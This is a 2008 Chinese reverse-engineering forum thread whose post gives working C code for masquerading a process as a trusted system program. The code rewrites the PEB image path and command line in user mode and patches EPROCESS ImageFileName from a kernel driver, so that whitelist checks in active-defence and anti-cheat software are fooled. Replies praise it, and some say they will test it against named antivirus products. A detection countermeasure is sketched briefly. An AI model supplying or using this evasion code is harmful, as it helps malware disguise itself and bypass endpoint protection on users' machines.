首页
论坛
课程
招聘
[原创]运行期修改可执行文件的路径和Command Line
2008-1-4 17:56 28900

[原创]运行期修改可执行文件的路径和Command Line

2008-1-4 17:56
28900
cc682/NetRoc
      目前的很多主动防御工具和反XX系统,在对特定进程进行保护的时候,出于兼容性的考虑,都会保留一些白名单。特别是一些系统进程,例如csrss.exe、svchost.exe等等。而针对这些系统进程,判断是否在白名单中的方式,为了简便起见经常采用取系统路径、可执行文件名的方式。
    内核中比较明显的能够取到可执行文件路径的方法有下面几个:
1、        通过PEB. ProcessParameters -> ImagePathName取得可执行文件路径,通过PEB. ProcessParameters -> CommandLine取得执行的命令行,以及PEB. ProcessParameters里面其他几个成员取得其他一些相关的路径信息。
2、        通过nt!_EPROCESS的ImageFileName取得。
3、        通过nt!_EPROCESS:: SeAuditProcessCreationInfo:: ImageFileName取得。
4、        通过和_EPROCESS相关的文件对象信息取得。
    常见的方式一般只有1、2两种。而上述的前三种方式都可以在运行时被修改掉,用来进行欺骗。特别是PEB里面的信息由于在ring3直接就可以访问,实现上来说非常简单。
    下面这段代码通过NtQueryInformationProcess拿到PEB,然后修改路径信息:
HMODULE hMod = GetModuleHandle( _T( "ntdll.dll"));
        pfnNtQueryInformationProcess p = (pfnNtQueryInformationProcess)::GetProcAddress( hMod, "NtQueryInformationProcess");
       
        PROCESS_BASIC_INFORMATION stInfo = {0};
        DWORD dwRetnLen = 0;
        DWORD dw = p( GetCurrentProcess(), ProcessBasicInformation, &stInfo, sizeof(stInfo), &dwRetnLen);
       
        PPEB pPeb = stInfo.PebBaseAddress;

        WCHAR wszFullPath[MAX_PATH] = {0};
        WCHAR wszTmp2[MAX_PATH] = {0};
        wcscpy( wszFullPath, wszPath);
        MultiByteToWideChar( CP_THREAD_ACP, 0, szName, -1, wszTmp2, MAX_PATH);
        wcscat( wszFullPath, wszTmp2);
       
        wcscpy( pPeb->ProcessParameters->ImagePathName.Buffer, wszFullPath);
        pPeb->ProcessParameters->ImagePathName.Length = wcslen( wszFullPath) * sizeof(WCHAR);
       
        int nParamStart = 0;
        WCHAR *wszTmp = new WCHAR[pPeb->ProcessParameters->CommandLine.MaximumLength];
        ZeroMemory( wszTmp, sizeof(WCHAR) * pPeb->ProcessParameters->CommandLine.MaximumLength);
       
        wcscpy( wszTmp, pPeb->ProcessParameters->CommandLine.Buffer);
       
        if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')
        {
                for ( int i = 1; i < pPeb->ProcessParameters->CommandLine.Length / 2; i++)
                {
                        if ( pPeb->ProcessParameters->CommandLine.Buffer[i] == '"')
                        {
                                nParamStart = i;
                        }
                }
        }
       
        if ( nParamStart != 0)
        {
                if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')
                {
                        pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;
                        wcscat( pPeb->ProcessParameters->CommandLine.Buffer, L"\"");
                }
                else
                {
                        pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;
                }
                wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszFullPath);
                wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszTmp + nParamStart);
        }
        delete[] wszTmp;
    这个方式可以欺骗通过toolhelp函数枚举出来的模块路径,以及直接读取PEB获取进程主模块路径的方式。
    另外,通过修改EPROCESS中的主模块名信息,可以欺骗一些在驱动层的程序。基本的代码如下:
    首先需要获取EPROCESS里面ImageFileName的偏移。这个函数必须在DriverEntry里面调用。
ULONG GetNameOffsetInEProcss()
{
        PEPROCESS pProcess = NULL;
        ULONG i = 0;

        pProcess = PsGetCurrentProcess();
        for ( i = 0; i < 0x1000; i++)
        {
                if ( strncmp( "System", (PUCHAR)pProcess + i, strlen("System")) == 0)
                {
                        return i;
                }
        }
        return 0;
}
    然后可以在IoCtrl里面修改当前进程的名字:
case IOCTL_CHANGE_EXENAME:
                        szName = (char*)Irp->AssociatedIrp.SystemBuffer;
                        if ( !szName)
                        {
                                ntStatus = STATUS_UNSUCCESSFUL;
                                break;
                        }
                        pEProcess = PsGetCurrentProcess();
                        strncpy( (PCHAR)pEProcess + g_NameOffsetInEProcess, szName, 16);
                        ntStatus = STATUS_SUCCESS;
                        break;
    由于只是示例,所以只实现了良种方式。修改SeAuditProcessCreationInfo里面的信息,考虑到兼容性问题,可能稍微复杂一点。不过也可以比较容易的实现。
    这种方式的伪装可以穿过多少主动防御工具没有试过,大家可以去看看,哈哈。
    至于对付的方式,可以通过上面说的第四种取进程路径的方法。不过就比较复杂了,呵呵。
    流程就是,通过EPROCESS的SectionObject获得文件的FilePointer,通过ObQueryNameString取得这个对象的名字。然后就可以取得主映像模块的路径了。详细的代码可以参考wrk中NtQueryInformationProcess的相关实现。
下面是实现的代码:

【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (39)
雪    币: 200
活跃值: 活跃值 (16)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
一块三毛钱 活跃值 11 2008-1-4 18:05
2
0
强悍,顶一下!
雪    币: 414
活跃值: 活跃值 (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huajt2004 活跃值 2008-1-4 18:16
3
0
高,佩服!!
雪    币: 5536
活跃值: 活跃值 (56)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-1-4 18:40
4
0
太有才了,顶
雪    币: 5536
活跃值: 活跃值 (56)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-1-4 19:09
5
0
雪    币: 7017
活跃值: 活跃值 (2996)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 22 2008-1-4 19:14
6
0
很强,我记得某个explorer.exe就是伪装版的explorer.exe
雪    币: 482
活跃值: 活跃值 (938)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-1-4 19:56
7
0
思路好新颖啊~

马上试下看能不能过微点~~~~
雪    币: 123
活跃值: 活跃值 (29)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xzchina 活跃值 1 2008-1-4 21:00
8
0

牛人
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
RyoKou 活跃值 1 2008-1-4 21:19
9
0
顶。。。。。。。。
雪    币: 200
活跃值: 活跃值 (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lsuper 活跃值 2008-1-4 21:28
10
0
强悍! 支持一把啊
雪    币: 1372
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
binliao 活跃值 2008-1-4 22:32
11
0
思路好新颖啊,慢慢消化。
雪    币: 850
活跃值: 活跃值 (619)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
asd 活跃值 2008-1-4 22:45
12
0
雪    币: 202
活跃值: 活跃值 (45)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 活跃值 5 2008-1-4 23:07
13
0
强贴,不得不顶。。。
雪    币: 302
活跃值: 活跃值 (45)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
HSQ 活跃值 8 2008-1-5 16:37
14
0
也来试用一下
雪    币: 661
活跃值: 活跃值 (682)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
qyc 活跃值 4 2008-1-6 00:47
15
0
是你的防忽悠吧 ,!!
雪    币: 1835
活跃值: 活跃值 (132)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 活跃值 8 2008-1-6 01:22
16
0
好 贴 必 顶
雪    币: 219
活跃值: 活跃值 (59)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
foxabu 活跃值 13 2008-1-6 10:36
17
0
Cheat Engine
雪    币: 3491
活跃值: 活跃值 (2236)
能力值: ( LV15,RANK:490 )
在线值:
发帖
回帖
粉丝
曾半仙 活跃值 12 2008-1-6 16:37
18
0
嘿嘿, 一边坏笑一边毒毒地试用了...
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jevonsmmx 活跃值 2008-1-6 17:33
19
0
真牛啊。。。。
雪    币: 386
活跃值: 活跃值 (17)
能力值: ( LV13,RANK:280 )
在线值:
发帖
回帖
粉丝
火翼[CCG] 活跃值 6 2008-1-10 15:33
20
0
好贴,顶
雪    币: 196
活跃值: 活跃值 (20)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
流动的情感 活跃值 4 2008-1-16 09:59
21
0
不顶不行啊。 正在学习反主动防御 好东东啊。。
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-1-16 10:45
22
0
好文,学习。。。
雪    币: 326
活跃值: 活跃值 (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
快雪时晴 活跃值 4 2008-1-16 11:10
23
0
想法决定成败,强!
如果路径可以欺骗,那么MD5(exe文件)也就完全失效了,不仅穿越不少主动防御系统,
我想大部分防火墙估计都完蛋了,形同虚设。

估计该贴技术马上被病毒设计院引进了
雪    币: 196
活跃值: 活跃值 (20)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
流动的情感 活跃值 4 2008-1-16 12:21
24
0
楼上的讲的不错。
但还有个问题要解决
我试了楼主的方法
程序必须启动在杀毒软件或防火墙之前 否则是无效的
因为杀毒软件在程序运行的时候记录下了路径。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nuke 活跃值 2008-3-11 15:05
25
0
正好在找这些结构,
之前编译器中PPEB的结构信息不全,
老是 left of 'ProcessParameters' specifies undefined struct/union '_PEB'
这次自己手动加这些结构就OK了
还有个情况,用NtQueryInformationProcess查询其他进程信息的时候
pPeb->ProcessParameters->ImagePathName.Buffer
遇到services.exe, svchost.exe或者瑞星的rav/ccenter.exe的时候都会崩溃
怎么作个判断让程序不崩呢
游客
登录 | 注册 方可回帖
返回